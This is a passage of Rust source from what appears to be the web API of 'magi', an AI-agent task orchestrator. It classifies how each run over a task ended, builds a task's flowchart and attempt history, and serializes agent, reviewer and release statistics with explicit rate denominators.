4384    /// Why this pass ended, classified once; the flowchart is built from it.
4385    exit: RunExit,
4386    /// What the pass did to the task's attempt budget.
4387    attempt: AttemptCost,
4388    /// The branch a review-only run reopened.
4389    branch: Option<String>,
4390}
4391
4392/// How one pass over a run ended, as far as the task's life is concerned.
4393#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4394#[serde(rename_all = "snake_case")]
4395enum RunExit {
4396    Unreadable,
4397    /// An earlier pass of a run id that appears again: it stopped short.
4398    Interrupted,
4399    Parked,
4400    QuotaStall,
4401    /// Stalled on a resumed pass with quota losses on record: they may be
4402    /// left over from an earlier pass, so whether this one was refunded is
4403    /// not knowable.
4404    ResumedQuotaStall,
4405    Merged,
4406    Ready,
4407    Superseded,
4408    /// The change was already on the base under other commits: the task
4409    /// finished without this run landing anything.
4410    AlreadyInBase,
4411    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4412    Stalled,
4413    /// Blocked / no-op with a pull request left open: held for a person.
4414    HeldWithPr,
4415    NoopHeld,
4416    /// Blocked or failed: the attempt is spent and the task retries or holds.
4417    Spent,
4418    InProgress,
4419}
4420
4421#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4422#[serde(rename_all = "snake_case")]
4423enum AttemptCost {
4424    Spent,
4425    Refunded,
4426    None,
4427    /// Cannot be told from the records that remain.
4428    Unknown,
4429}
4430
4431impl RunExit {
4432    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4433        let Some(s) = s else {
4434            return Self::Unreadable;
4435        };
4436        let status = s.status;
4437        if resumed_later {
4438            Self::Interrupted
4439        } else if s.parked {
4440            Self::Parked
4441        } else if !status.done() {
4442            Self::InProgress
4443        } else if matches!(status, RunStatus::Merged) {
4444            Self::Merged
4445        } else if matches!(status, RunStatus::Ready) {
4446            Self::Ready
4447        } else if matches!(status, RunStatus::Superseded) {
4448            Self::Superseded
4449        } else if matches!(status, RunStatus::AlreadyInBase) {
4450            Self::AlreadyInBase
4451        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4452            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4453        {
4454            if resumed {
4455                Self::ResumedQuotaStall
4456            } else {
4457                Self::QuotaStall
4458            }
4459        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4460            Self::HeldWithPr
4461        } else if matches!(status, RunStatus::VerifiedNoop) {
4462            Self::NoopHeld
4463        } else if matches!(status, RunStatus::Stalled) {
4464            Self::Stalled
4465        } else {
4466            Self::Spent
4467        }
4468    }
4469
4470    fn cost(self) -> AttemptCost {
4471        match self {
4472            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4473            Self::Merged
4474            | Self::Ready
4475            | Self::Stalled
4476            | Self::HeldWithPr
4477            | Self::NoopHeld
4478            | Self::Spent => AttemptCost::Spent,
4479            Self::InProgress => AttemptCost::None,
4480            Self::AlreadyInBase => AttemptCost::Refunded,
4481            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4482                AttemptCost::Unknown
4483            }
4484        }
4485    }
4486
4487    /// Short edge wording for leaving a run this way.
4488    fn edge_label(self, status: Option<&str>) -> String {
4489        match self {
4490            Self::Unreadable => "record unreadable".to_owned(),
4491            Self::Interrupted => "interrupted before the run finished".to_owned(),
4492            Self::Parked => "parked, attempt refunded".to_owned(),
4493            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4494            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4495            Self::Merged => "merged".to_owned(),
4496            Self::Ready => "ready, not merged".to_owned(),
4497            Self::Superseded => "superseded by a later attempt".to_owned(),
4498            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4499            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4500            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4501            Self::NoopHeld => "verified no-op".to_owned(),
4502            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4503            Self::InProgress => "in progress".to_owned(),
4504        }
4505    }
4506
4507    /// Does a task in `end` follow from a run that ended this way? When not,
4508    /// somebody closed or held the task by hand.
4509    fn explains(self, end: TaskStatus) -> bool {
4510        match self {
4511            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4512            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4513            Self::Unreadable | Self::Superseded | Self::Ready => true,
4514            _ => end != TaskStatus::Done,
4515        }
4516    }
4517}
4518
4519/// `GET /api/queue/{id}` - one task with every attempt it went through.
4520#[derive(Debug, Serialize)]
4521struct TaskDetailView {
4522    #[serde(flatten)]
4523    task: TaskView,
4524    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4525    /// told otherwise; the loop's own flag is not visible from here.
4526    max_attempts: usize,
4527    history: Vec<TaskRunView>,
4528    flow: FlowView,
4529    /// Set for a follow-up task; see [`followup_origin`].
4530    followup_origin: Option<FollowUpOrigin>,
4531    /// How many entries of `history` could not be read.
4532    runs_unreadable: usize,
4533    /// Why the attempt count can be lower than the number of runs.
4534    attempts_note: &'static str,
4535}
4536
4537const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4538and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4539on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4540in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4541
4542/// The branch a review-only run reopened, read off the instruction
4543/// `Runner::open_review` writes.
4544fn review_branch_of(instruction: &str) -> Option<&str> {
4545    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4546    rest.split('`').next().filter(|b| !b.is_empty())
4547}
4548
4549/// Where an entry sits in a task's run list.
4550struct RunSlot<'a> {
4551    /// 1-based position.
4552    n: usize,
4553    /// The same run id appeared earlier: this pass resumed it.
4554    resumed: bool,
4555    /// Position of a later pass over the same run id, if any.
4556    resumed_later: Option<usize>,
4557    /// The previous distinct run and how it ended, for the retry note.
4558    prior: Option<(&'a str, RunStatus)>,
4559    last: bool,
4560}
4561
4562/// Describe one entry of a task's run list. Pure: everything it needs is on
4563/// the run and the task, so it is asserted without a server.
4564fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4565    let RunSlot {
4566        n,
4567        resumed,
4568        resumed_later,
4569        prior,
4570        last,
4571    } = at;
4572    let short = run::short_of(id).to_owned();
4573    let Some(s) = state else {
4574        return TaskRunView {
4575            n,
4576            id: id.to_owned(),
4577            short,
4578            kind: "unknown",
4579            status: None,
4580            readable: false,
4581            provisional: false,
4582            description:
4583                "This run's record could not be read by this build (written by a different \
4584                          magi, or removed), so what kind of attempt it was is unknown."
4585                    .to_owned(),
4586            outcome: String::new(),
4587            created_at: None,
4588            pr: None,
4589            exit: RunExit::Unreadable,
4590            attempt: AttemptCost::Unknown,
4591            branch: None,
4592        };
4593    };
4594    let branch = review_branch_of(&s.instruction);
4595    let kind = if resumed {
4596        "resume"
4597    } else if branch.is_some() {
4598        "review"
4599    } else if task.solo || s.candidates.len() == 1 {
4600        "solo"
4601    } else {
4602        "competition"
4603    };
4604    let mut description = match kind {
4605        "resume" => {
4606            format!("Resumed run {short}: the same run carried on instead of competing again.")
4607        }
4608        "review" => format!(
4609            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4610            branch.unwrap_or_default()
4611        ),
4612        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4613        _ => format!(
4614            "Competition: {} candidates judged blind.",
4615            s.candidates.len().max(1)
4616        ),
4617    };
4618    if !resumed && let Some((p, st)) = prior {
4619        description.push_str(&format!(
4620            " A retry: run {p} before it ended {}.",
4621            st.display_label()
4622        ));
4623    }
4624
4625    let status = s.status;
4626    let provisional = matches!(status, RunStatus::Stalled)
4627        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4628    let head = if resumed_later.is_some() {
4629        String::new()
4630    } else {
4631        match status {
4632            RunStatus::Merged => "Merged.".to_owned(),
4633            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4634            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4635            RunStatus::AlreadyInBase => {
4636                "Already in the base: this change landed under other commits, nothing was left to land."
4637                    .to_owned()
4638            }
4639            RunStatus::Stalled => {
4640                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4641                    .to_owned()
4642            }
4643            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4644            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4645            RunStatus::VerifiedNoop => {
4646                "Verified no-op: the candidates found nothing to change.".to_owned()
4647            }
4648            other if other.done() => format!("Ended {}.", other.display_label()),
4649            other => format!("In progress ({}).", other.display_label()),
4650        }
4651    };
4652    let why = if let Some(k) = resumed_later {
4653        // A run is only picked up again while it is unfinished, so an earlier
4654        // pass of a repeated id stopped short; the record keeps only the run's
4655        // latest status, which is left to the pass that carried it on.
4656        // Only the latest state is recorded: `parked` is cleared on resume
4657        // and `quota` accumulates across passes, so neither says why *this*
4658        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4659        let cause = if s.quota.is_empty() {
4660            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4661        } else {
4662            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4663        };
4664        format!(
4665            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4666        )
4667    } else if s.parked {
4668        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4669            .to_owned()
4670    } else if !status.done()
4671        || matches!(
4672            status,
4673            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4674        )
4675    {
4676        String::new()
4677    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4678        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4679    {
4680        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4681            .to_owned()
4682    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4683        " It left a pull request open, so the task was held for a person rather than retried."
4684            .to_owned()
4685    } else if matches!(status, RunStatus::VerifiedNoop) {
4686        " Held for a person to check the claim.".to_owned()
4687    } else if last {
4688        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4689    } else {
4690        " It spent an attempt, and the task moved on to the next run.".to_owned()
4691    };
4692    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4693    TaskRunView {
4694        n,
4695        id: id.to_owned(),
4696        short,
4697        kind,
4698        status: Some(status.as_str()),
4699        readable: true,
4700        provisional,
4701        description,
4702        outcome: format!("{head}{why}"),
4703        created_at: Some(s.created_at),
4704        pr: s.pr.as_ref().map(|p| p.url.clone()),
4705        exit,
4706        attempt: exit.cost(),
4707        branch: branch.map(str::to_owned),
4708    }
4709}
4710
4711/// One box of the task's flowchart.
4712#[derive(Debug, Serialize, PartialEq)]
4713struct FlowNode {
4714    /// Unique by position: a resumed run id appears once per pass.
4715    key: String,
4716    /// `chat`, `followup`, `start`, `run` or `end`.
4717    kind: &'static str,
4718    label: String,
4719    /// Run status (or the task's, for `end`); `None` when it is not a fact
4720    /// about this box (unreadable, or a pass the run later resumed from).
4721    status: Option<&'static str>,
4722    /// Whose status `status` is, so the client picks the right colour table:
4723    /// `task` (the `followup` parent and `end`) or `run`.
4724    status_of: &'static str,
4725    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4726    note: Option<&'static str>,
4727    run_kind: Option<&'static str>,
4728    detail: Option<String>,
4729    /// A readable run with a real verdict; a stall never is.
4730    decided: bool,
4731    readable: bool,
4732    href: Option<String>,
4733}
4734
4735#[derive(Debug, Serialize, PartialEq)]
4736struct FlowEdge {
4737    from: String,
4738    to: String,
4739    label: String,
4740    attempt: AttemptCost,
4741}
4742
4743#[derive(Debug, Serialize, PartialEq)]
4744struct FlowView {
4745    nodes: Vec<FlowNode>,
4746    edges: Vec<FlowEdge>,
4747    /// Attempts the task has counted since it was last released.
4748    attempts: usize,
4749    max_attempts: usize,
4750}
4751
4752/// Turn a task and its described runs into the flowchart's boxes and arrows.
4753/// Pure: the page only draws what this returns.
4754///
4755/// A follow-up opens with its parent (or the merged run) unless the task's
4756/// *source* is itself a chat, in which case the chat stays first and the
4757/// follow-up node comes second. An inherited `Task::origin_chat` alone never
4758/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
4759/// two normally do not coincide and the nearer origin wins.
4760fn task_flow(
4761    task: &Task,
4762    history: &[TaskRunView],
4763    max_attempts: usize,
4764    origin: Option<&FollowUpOrigin>,
4765) -> FlowView {
4766    let node = |key: &str, kind, label: String| FlowNode {
4767        key: key.to_owned(),
4768        kind,
4769        label,
4770        status: None,
4771        status_of: "run",
4772        note: None,
4773        run_kind: None,
4774        detail: None,
4775        decided: false,
4776        readable: true,
4777        href: None,
4778    };
4779    let mut nodes = Vec::new();
4780    let mut edges: Vec<FlowEdge> = Vec::new();
4781    // A task queued from a chat opens the flow with that conversation.
4782    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4783        let mut n = node(
4784            "chat",
4785            "chat",
4786            format!("Chat {}", crate::queue::short(&link.id)),
4787        );
4788        n.href = Some(link.href);
4789        nodes.push(n);
4790        edges.push(FlowEdge {
4791            from: "chat".to_owned(),
4792            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4793            label: "queued from chat".to_owned(),
4794            attempt: AttemptCost::None,
4795        });
4796    }
4797    if let Some(o) = origin {
4798        let mut n = match &o.parent {
4799            Some(p) => {
4800                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4801                n.status = Some(p.status);
4802                n.status_of = "task";
4803                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4804                n.href = Some(p.href.clone());
4805                n
4806            }
4807            None => {
4808                let mut n = node(
4809                    "origin",
4810                    "followup",
4811                    format!("Follow-up of run {}", o.run.short),
4812                );
4813                n.detail = Some("merged run".to_owned());
4814                n.status = o.run.status;
4815                n.href = o.run.href.clone();
4816                if o.run.href.is_none() {
4817                    n.readable = false;
4818                    n.note = Some("unreadable");
4819                }
4820                n
4821            }
4822        };
4823        n.decided = true;
4824        let from = n.key.clone();
4825        nodes.push(n);
4826        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4827        let more = o.findings.len().saturating_sub(shown.len());
4828        let label = match (shown.is_empty(), more) {
4829            (true, _) => "open findings".to_owned(),
4830            (false, 0) => format!("open findings {}", shown.join(", ")),
4831            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4832        };
4833        edges.push(FlowEdge {
4834            from,
4835            to: "start".to_owned(),
4836            label,
4837            attempt: AttemptCost::None,
4838        });
4839    }
4840    nodes.push(node("start", "start", "Task queued".to_owned()));
4841    let mut prev = "start".to_owned();
4842    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4843    for (i, h) in history.iter().enumerate() {
4844        let key = format!("run-{}", h.n);
4845        let mut n = node(&key, "run", format!("Run {}", h.short));
4846        n.run_kind = Some(h.kind);
4847        n.readable = h.readable;
4848        n.href = Some(format!("#/runs/{}", h.id));
4849        n.decided = h.readable && !h.provisional;
4850        n.detail = h
4851            .branch
4852            .as_ref()
4853            .map(|b| format!("review-only run of branch {b}"));
4854        match h.exit {
4855            RunExit::Unreadable => n.note = Some("unreadable"),
4856            RunExit::Interrupted => n.note = Some("interrupted"),
4857            _ => {
4858                n.status = h.status;
4859                if h.provisional {
4860                    n.note = Some("no verdict");
4861                }
4862            }
4863        }
4864        let into = match h.kind {
4865            "review" => Some(format!(
4866                "review-only run of branch {}",
4867                h.branch.as_deref().unwrap_or("?")
4868            )),
4869            "resume" => Some("resume the same run".to_owned()),
4870            _ if i > 0 => Some("retry".to_owned()),
4871            _ => None,
4872        };
4873        let label = match (prev_exit, into) {
4874            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4875            (Some((e, st)), None) => e.edge_label(st),
4876            (None, Some(i)) => i,
4877            (None, None) => "claimed".to_owned(),
4878        };
4879        edges.push(FlowEdge {
4880            from: prev.clone(),
4881            to: key.clone(),
4882            label,
4883            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4884        });
4885        prev_exit = Some((h.exit, h.status));
4886        prev = key;
4887        nodes.push(n);
4888    }
4889    let mut end = node("end", "end", task.status.as_str().to_owned());
4890    end.status = Some(task.status.as_str());
4891    end.status_of = "task";
4892    nodes.push(end);
4893    let (label, attempt) = match prev_exit {
4894        None => (
4895            format!("no run yet \u{2192} {}", task.status.as_str()),
4896            AttemptCost::None,
4897        ),
4898        Some((e, st)) if e.explains(task.status) => (
4899            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4900            e.cost(),
4901        ),
4902        Some((e, _)) => (
4903            format!("closed by hand: task is {}", task.status.as_str()),
4904            e.cost(),
4905        ),
4906    };
4907    edges.push(FlowEdge {
4908        from: prev,
4909        to: "end".to_owned(),
4910        label,
4911        attempt,
4912    });
4913    FlowView {
4914        nodes,
4915        edges,
4916        attempts: task.attempts,
4917        max_attempts,
4918    }
4919}
4920
4921/// Describe every entry of `task.runs`, in order, reading each run's record
4922/// through `read`.
4923fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4924    let mut history = Vec::with_capacity(task.runs.len());
4925    let mut seen: Vec<&str> = Vec::new();
4926    let mut prior: Option<(&str, RunStatus)> = None;
4927    for (i, run_id) in task.runs.iter().enumerate() {
4928        let state = read(run_id);
4929        let resumed = seen.contains(&run_id.as_str());
4930        seen.push(run_id);
4931        history.push(task_run_view(
4932            run_id,
4933            state.as_ref(),
4934            RunSlot {
4935                n: i + 1,
4936                resumed,
4937                resumed_later: task.runs[i + 1..]
4938                    .iter()
4939                    .position(|r| r == run_id)
4940                    .map(|off| i + off + 2),
4941                prior,
4942                last: i + 1 == task.runs.len(),
4943            },
4944            task,
4945        ));
4946        if let Some(s) = &state {
4947            prior = Some((run::short_of(run_id), s.status));
4948        }
4949    }
4950    history
4951}
4952
4953async fn task_detail(
4954    State(ui): State<Arc<Ui>>,
4955    Path(id): Path<String>,
4956) -> ApiResult<Json<TaskDetailView>> {
4957    blocking(move || {
4958        let id = resolve_task(&ui.queue, &id)?;
4959        let task = ui
4960            .queue
4961            .get(&id)
4962            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4963        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4964        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4965        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4966        let max_attempts = daemon::Opts::default().max_attempts;
4967        let origin = task.followup.as_ref().map(|fu| {
4968            followup_origin(
4969                fu,
4970                |tid| ui.queue.get(tid).ok(),
4971                |rid| read_run(&ui.runs, rid).ok(),
4972            )
4973        });
4974        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4975        Ok(Json(TaskDetailView {
4976            max_attempts,
4977            flow,
4978            followup_origin: origin,
4979            history,
4980            runs_unreadable,
4981            attempts_note: ATTEMPTS_NOTE,
4982            task: TaskView::with_inventory(task, &inv),
4983        }))
4984    })
4985    .await
4986}
4987
4988/// A rate together with its denominator, so the client can tell "computed as
4989/// 0%" apart from "no data to compute it from" — both would otherwise
4990/// serialize as `0.0`. `None` means the denominator was zero.
4991#[derive(Debug, Serialize)]
4992struct RateView {
4993    pct: f64,
4994    denominator: usize,
4995}
4996
4997impl RateView {
4998    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4999        (denominator > 0).then(|| Self {
5000            pct: 100.0 * numerator as f64 / denominator as f64,
5001            denominator,
5002        })
5003    }
5004}
5005
5006/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5007/// rates, each paired with its own denominator via [`RateView`] rather than
5008/// exposing `Stats`' own percentage methods directly — see this module's
5009/// doc for why `Stats` itself is never serialized.
5010#[derive(Debug, Serialize)]
5011struct StatsTotalsView {
5012    runs: usize,
5013    merged: usize,
5014    ready: usize,
5015    blocked: usize,
5016    failed: usize,
5017    stalled: usize,
5018    verified_noop: usize,
5019    superseded: usize,
5020    in_progress: usize,
5021    completion_rate: Option<RateView>,
5022    tallied: usize,
5023    split: usize,
5024    split_rate: Option<RateView>,
5025    deliberated: usize,
5026    minds_changed: usize,
5027    converged: usize,
5028    review_rounds: usize,
5029}
5030
5031impl From<&stats::Totals> for StatsTotalsView {
5032    fn from(t: &stats::Totals) -> Self {
5033        Self {
5034            runs: t.runs,
5035            merged: t.merged,
5036            ready: t.ready,
5037            blocked: t.blocked,
5038            failed: t.failed,
5039            stalled: t.stalled,
5040            verified_noop: t.verified_noop,
5041            superseded: t.superseded,
5042            in_progress: t.in_progress,
5043            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5044            tallied: t.tallied,
5045            split: t.split,
5046            split_rate: RateView::of(t.split, t.tallied),
5047            deliberated: t.deliberated,
5048            minds_changed: t.minds_changed,
5049            converged: t.converged,
5050            review_rounds: t.review_rounds,
5051        }
5052    }
5053}
5054
5055/// [`crate::stats::AgentStats`] for the wire.
5056#[derive(Debug, Serialize)]
5057struct AgentStatsView {
5058    agent: String,
5059    entered: usize,
5060    wins: usize,
5061    empty: usize,
5062    win_rate: Option<RateView>,
5063    competitive_entered: usize,
5064    competitive_wins: usize,
5065    competitive_win_rate: Option<RateView>,
5066    solo_entered: usize,
5067    solo_adopted: usize,
5068    solo_adoption_rate: Option<RateView>,
5069}
5070
5071impl From<&stats::AgentStats> for AgentStatsView {
5072    fn from(a: &stats::AgentStats) -> Self {
5073        Self {
5074            agent: a.agent.clone(),
5075            entered: a.entered,
5076            wins: a.wins,
5077            empty: a.empty,
5078            win_rate: RateView::of(a.wins, a.entered),
5079            competitive_entered: a.competitive_entered,
5080            competitive_wins: a.competitive_wins,
5081            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5082            solo_entered: a.solo_entered,
5083            solo_adopted: a.solo_adopted,
5084            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5085        }
5086    }
5087}
5088
5089/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5090/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5091/// value, `None` when `rounds` is zero.
5092#[derive(Debug, Serialize)]
5093struct ReviewerStatsView {
5094    agent: String,
5095    rounds: usize,
5096    seated: usize,
5097    submitted: usize,
5098    adopted: usize,
5099    unique: usize,
5100    timeouts: usize,
5101    adopted_per_round: Option<f64>,
5102    precision: Option<RateView>,
5103    unique_rate: Option<RateView>,
5104    timeout_rate: Option<RateView>,
5105}
5106
5107impl From<&stats::ReviewerStats> for ReviewerStatsView {
5108    fn from(r: &stats::ReviewerStats) -> Self {
5109        Self {
5110            agent: r.agent.clone(),
5111            rounds: r.rounds,
5112            seated: r.seated,
5113            submitted: r.submitted,
5114            adopted: r.adopted,
5115            unique: r.unique,
5116            timeouts: r.timeouts,
5117            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5118            precision: RateView::of(r.adopted, r.submitted),
5119            unique_rate: RateView::of(r.unique, r.submitted),
5120            timeout_rate: RateView::of(r.timeouts, r.seated),
5121        }
5122    }
5123}
5124
5125/// [`crate::stats::AdvisorStats`] for the wire.
5126///
5127/// `reflection_rate` is approximate by construction — see
5128/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5129/// that caveat is static text in `index.html`, not a field here.
5130#[derive(Debug, Serialize)]
5131struct AdvisorStatsView {
5132    agent: String,
5133    seated: usize,
5134    proposed: usize,
5135    absent: usize,
5136    faint: usize,
5137    strong: usize,
5138    reflection_rate: Option<RateView>,
5139}
5140
5141impl From<&stats::AdvisorStats> for AdvisorStatsView {
5142    fn from(a: &stats::AdvisorStats) -> Self {
5143        Self {
5144            agent: a.agent.clone(),
5145            seated: a.seated,
5146            proposed: a.proposed,
5147            absent: a.absent,
5148            faint: a.faint,
5149            strong: a.strong,
5150            reflection_rate: RateView::of(a.strong, a.proposed),
5151        }
5152    }
5153}
5154
5155/// [`crate::stats::E2eStats`] for the wire.
5156#[derive(Debug, Serialize)]
5157struct E2eStatsView {
5158    rounds: usize,
5159    failures: usize,
5160    sole_detections: usize,
5161    deferred: usize,
5162    sole_rate: Option<RateView>,
5163}
5164
5165impl From<&stats::E2eStats> for E2eStatsView {
5166    fn from(e: &stats::E2eStats) -> Self {
5167        Self {
5168            rounds: e.rounds,
5169            failures: e.failures,
5170            sole_detections: e.sole_detections,
5171            deferred: e.deferred,
5172            sole_rate: RateView::of(e.sole_detections, e.failures),
5173        }
5174    }
5175}
5176
5177/// [`crate::stats::ReleaseBumpStats`] for the wire.
5178///
5179/// `clean` is sent as a raw count, computed the same way
5180/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5181/// needs_attention`) — never derived client-side from `automerge_enabled`,
5182/// which would misclassify a `merged_directly` bump (automerge rejected, but
5183/// magi merged it directly, so no human involvement) as needing attention.
5184#[derive(Debug, Serialize)]
5185struct ReleaseBumpStatsView {
5186    merged: usize,
5187    recorded: usize,
5188    pr_opened: usize,
5189    automerge_enabled: usize,
5190    merged_directly: usize,
5191    needs_attention: usize,
5192    clean: usize,
5193    coverage_rate: Option<RateView>,
5194    automerge_rate: Option<RateView>,
5195    attention_rate: Option<RateView>,
5196}
5197
5198impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5199    fn from(b: &stats::ReleaseBumpStats) -> Self {
5200        Self {
5201            merged: b.merged,
5202            recorded: b.recorded,
5203            pr_opened: b.pr_opened,
5204            automerge_enabled: b.automerge_enabled,
5205            merged_directly: b.merged_directly,
5206            needs_attention: b.needs_attention,
5207            clean: b.clean(),
5208            coverage_rate: RateView::of(b.recorded, b.merged),
5209            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5210            attention_rate: RateView::of(b.needs_attention, b.recorded),
5211        }
5212    }
5213}
5214
5215/// [`crate::queue::TaskCounts`] for the wire.
5216#[derive(Debug, Serialize)]
5217struct TaskCountsView {
5218    queued: usize,
5219    running: usize,
5220    done: usize,
5221    failed: usize,
5222    held: usize,
5223    blocked: usize,
5224    parked: usize,
5225}
5226
5227impl From<crate::queue::TaskCounts> for TaskCountsView {
5228    fn from(c: crate::queue::TaskCounts) -> Self {
5229        Self {
5230            queued: c.queued,
5231            running: c.running,
5232            done: c.done,
5233            failed: c.failed,
5234            held: c.held,
5235            blocked: c.blocked,
5236            parked: c.parked,
5237        }
5238    }
5239}
5240
5241/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5242/// runs recorded — the summary the UI's repository selector is built from.
5243/// Carries no nested `Stats`: picking a repo means re-fetching
5244/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5245/// aggregation rather than duplicating it.
5246#[derive(Debug, Serialize)]
5247struct RepoSummaryView {
5248    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5249    /// against, full path and all (see [`stats_get`]'s own doc for why).
5250    repo: String,
5251    /// Display name only; never used for matching.
5252    name: String,
5253    runs: usize,
5254    completion_rate: Option<RateView>,
5255}
5256
5257impl From<&stats::RepoStats> for RepoSummaryView {
5258    fn from(r: &stats::RepoStats) -> Self {
5259        let t = &r.stats.totals;
5260        Self {
5261            repo: r.repo.to_string_lossy().into_owned(),
5262            name: r.name.clone(),
5263            runs: t.runs,
5264            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5265        }
5266    }
5267}
5268
5269/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5270/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5271/// renders from them) are free to grow without that becoming a wire-contract
5272/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5273/// data" from "computed and it really is zero" the way [`RateView`] does.
5274#[derive(Debug, Serialize)]
5275struct StatsView {
5276    totals: StatsTotalsView,
5277    /// Best win rate first, as [`stats::collect`] already sorts it.
5278    agents: Vec<AgentStatsView>,
5279    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5280    reviewers: Vec<ReviewerStatsView>,
5281    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5282    advisors: Vec<AdvisorStatsView>,
5283    e2e: E2eStatsView,
5284    release_bumps: ReleaseBumpStatsView,
5285    queue: TaskCountsView,
5286    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5287    /// that field's doc. Asserted to match it in
5288    /// `stats_runs_unreadable_matches_health`.
5289    ///
5290    /// Always the whole-workload count, even when `repo` narrows every other
5291    /// field to one repository - an unreadable `run.json` carries no `repo`
5292    /// a per-repository count could attribute it to, and the queue/health
5293    /// views this mirrors never scope it either. The UI must not present it
5294    /// as if it were scoped to the selected repository.
5295    runs_unreadable: usize,
5296    /// Every repository with runs recorded, most runs first - what the UI's
5297    /// repository selector is built from. Always the full list regardless of
5298    /// `repo`, so switching repositories never needs a second request.
5299    repos: Vec<RepoSummaryView>,
5300    /// Runs per local day over the last 30 days, oldest first, always 30
5301    /// entries. Days are the *server's* local dates (the UI must not convert
5302    /// them again), cut by run creation and classified by current status.
5303    /// Narrowed by `repo` like every other run-derived field.
5304    daily: Vec<DailyStatsView>,
5305    /// The `?repo=` value this response was narrowed to, echoed back so the
5306    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5307    /// all-repositories view.
5308    repo: Option<String>,
5309    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5310    /// current config roster no longer lists them. Empty with `?all=true`, an
5311    /// unreadable config, or when nothing was retired.
5312    retired_hidden: Vec<String>,
5313}
5314
